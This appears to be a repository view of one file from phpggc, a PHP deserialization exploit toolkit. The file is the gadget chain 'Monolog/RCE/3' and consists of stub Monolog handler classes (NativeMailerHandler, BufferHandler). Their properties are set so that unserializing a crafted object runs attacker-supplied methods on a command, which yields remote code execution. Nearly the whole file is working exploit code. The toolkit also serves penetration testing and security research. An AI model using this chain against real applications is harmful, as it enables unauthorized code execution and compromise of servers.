Codebase list phpggc / a334346 gadgetchains / Monolog / RCE / 3 / gadgets.php
a334346

Tree @a334346 (Download .tar.gz)

gadgets.php @a334346raw · history · blame

<?php

namespace Monolog\Handler
{
    class NativeMailerHandler {
        protected $to = null;
        protected $subject = null;
        protected $headers = null;

        protected $level = null;
        protected $bubble = false;
        protected $formatter = null;
        protected $processors;

        function __construct($methods) {
            $this->processors = $methods;

        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;

        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $bubble = false;
        protected $formatter = null;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = null;
            $this->buffer = [$command];
            $this->handler = new NativeMailerHandler($methods);
        }
    }
}